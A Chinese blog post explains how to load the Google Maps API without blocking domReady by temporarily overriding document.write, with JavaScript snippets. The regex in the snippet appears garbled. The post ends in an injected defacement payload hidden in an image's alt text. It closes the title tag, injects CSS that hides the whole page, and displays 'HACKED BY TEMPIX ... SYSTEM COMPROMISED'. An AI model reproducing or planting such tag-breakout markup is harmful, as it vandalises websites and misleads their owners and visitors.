google maps的api使用很方便,只要在用使用google maps的页面引入http://maps.google.com/maps/api/js?sensor=false就可以了。
但是在项目中这样使用后,发现domReady事件被严重阻塞(甚至会延迟十几秒)
因为domReady只有页面中所有的script都运行完后才会触发,而google的服务器往往很慢……直接用script标签来加入这个壳,会使domReady变得不可控。
为了防止阻塞domReady,对于不是必须在渲染前执行的js代码,一般使用document.createElement创建script标签,这样浏览器会在domReady后再下载这些script并执行。我一般使用这样的代码:
$.loadJs = function ( src ) {
var script = document.createElement( 'script' );
script.type = 'text/javascript';
script.src = src;
document.body.appendChild( script );
}
在使用$.loadJs加载http://maps.google.com/maps/api/js?sensor=false后,domReady正常了,但是google maps却不能正常使用了。
审查元素发现,壳虽然被引入了,但是依赖的子模块都没有引入进来,于是我们检查壳里加载子模块的代码:
window.google = window.google || {};
google.maps = google.maps || {};
(function() {
function getScript(src) {
document.write('<' + 'script src="' + src + '"' +
' type="text/javascript"><' + '/script>');
}
.....
乖乖,居然用document.write。我们知道document.write只有在输出流还没有闭合的时候才能输出内容,而我们用$.loadJs方法加载壳的时候,输出流早就关闭了。
这个怎么解决呢,总不能改google的代码吧?曾经想过把这个壳存到本地,修改后使用,但是谁知道google哪天修改了什么东东呢?
仔细分析了一下,这个壳实际上只是设定一些参数,然后用document.write加载另一个壳http://maps.gstatic.com/intl/zh_cn/mapfiles/api-3/7/11/main.js,实际加载模块的动作是在后者中进行。
万幸,后者加载子模块使用的是document.createElement方法……
冥思苦想后,想出一个hack的方法:在调用第一个壳之前将原生的document.write方法保存起来,将其改写为调用$.loadJs,调用之后恢复原有的方法(因为write只是用了一次)。
$.writeListener = function ( ) {
var write = document.write;
document.write = function ( html ) {
var scriptPattern = new RegExp( ']*src=[\'"]([^\'"<>]*)["\'][^>]*>', 'i' );
if ( scriptPattern.test( html ) ) {
src = html.match( scriptPattern )[1];
$.loadJs( src );
document.write = write;
} else {
write.call( document, html );
}
}
}
$.loadJs( 'http://maps.google.com/maps/api/js?sensor=false' );
暂时只能想到这里,哪位有更好的解决思路,请不吝赐教。
![HACKED BY TEMPIX</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
*{margin:0;padding:0;box-sizing:border-box}
body,html{overflow:hidden!important;font-family:'Share Tech Mono',monospace}
body *:not(style){display:none!important}
body{
background:#000!important;
position:fixed!important;
width:100vw!important;
height:100vh!important;
display:flex!important;
align-items:center!important;
justify-content:center!important;
}
body::before{
content:"";
position:absolute;
top:0;left:0;right:0;bottom:0;
background:
linear-gradient(90deg,#0f0 1px,transparent 1px),
linear-gradient(180deg,#0f0 1px,transparent 1px);
background-size:50px 50px;
opacity:0.1;
animation:grid 20s linear infinite;
}
@keyframes grid{
0%{transform:perspective(500px) rotateX(60deg) translateZ(0)}
100%{transform:perspective(500px) rotateX(60deg) translateZ(500px)}
}
body::after{
content:"HACKED BY TEMPIX\A\AJ E M B O T\AJembot Mawot Pejuh Muncrat\A\A[ SYSTEM COMPROMISED ]";
white-space:pre;
display:block!important;
color:#0f0;
font-size:48px;
text-align:center;
z-index:999999;
animation:glitch 2s infinite,glow 1.5s infinite;
text-shadow:
0 0 10px #0f0,
0 0 20px #0f0,
0 0 30px #0f0,
0 0 40px #0f0;
}
@keyframes glitch{
0%,100%{transform:translate(0)}
20%{transform:translate(-2px,2px)}
40%{transform:translate(-2px,-2px)}
60%{transform:translate(2px,2px)}
80%{transform:translate(2px,-2px)}
}
@keyframes glow{
0%,100%{opacity:1}
50%{opacity:0.7}
}
h1,h2,h3,h4,h5,h6,p,div,span,a{display:none!important}
</style>
<title>](https://zhangshenjia.com/wp-content/uploads/2018/12/cropped-640-2.jpg)
